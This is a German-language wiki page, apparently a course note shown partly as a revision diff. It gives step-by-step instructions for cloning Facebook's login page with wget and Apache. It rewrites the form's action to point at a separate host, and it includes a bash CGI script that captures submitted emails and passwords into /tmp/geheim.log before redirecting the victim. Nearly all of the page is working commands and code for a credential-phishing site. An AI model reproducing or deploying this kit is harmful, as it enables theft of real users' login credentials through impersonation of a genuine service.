Webseite spiegeln: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 41: Zeile 41:
 
==cgi aktivieren==
 
==cgi aktivieren==
 
   in der conf einkommentieren  
 
   in der conf einkommentieren  
 +
  *Include conf-available/serve-cgi-bin.conf
 
   und
 
   und
   a2enmod cgid
+
   *a2enmod cgid
 +
 
 
==Apache neustarten==
 
==Apache neustarten==
 
  service apache2 restart
 
  service apache2 restart

Version vom 15. November 2018, 18:52 Uhr

install

apt-get install apache2 
cd /var/www/
rm -r html 

abziehen der Seite

wget -l 1 -r https://www.facebook.com
mv  https://www.facebook.com html 
  • besser mit browser

manipulation

ersetze in index.html

action="https://www.facebook.com/login.php?login_attempt=1&lwv=110"

durch

action="http://noezel.tuxmen.de/cgi-bin/login.cgi"

cgi erstellen

/usr/lib/cgi-bin/login.cgi
#!/bin/bash
if [ "$REQUEST_METHOD" = "POST" ]; then
    if [ "$CONTENT_LENGTH" -gt 0 ]; then
        read -n $CONTENT_LENGTH POST_DATA <&0
    fi
fi
MAIL=$(echo $POST_DATA | cut -f 2 -d "&")
PASS=$(echo $POST_DATA | cut -f 3 -d "&")
echo "$MAIL $PASS" >> /tmp/geheim.log

cat<<HERE
<!doctype html>

<html>
<meta http-equiv="refresh" content="0; url=http://noezel.tuxmen.de/" />
</html>
HERE

X Recht setzen

  • chmod +x /usr/lib/cgi-bin/login.cgi

cgi aktivieren

 in der conf einkommentieren 
 *Include conf-available/serve-cgi-bin.conf 
 und
 *a2enmod cgid

Apache neustarten

service apache2 restart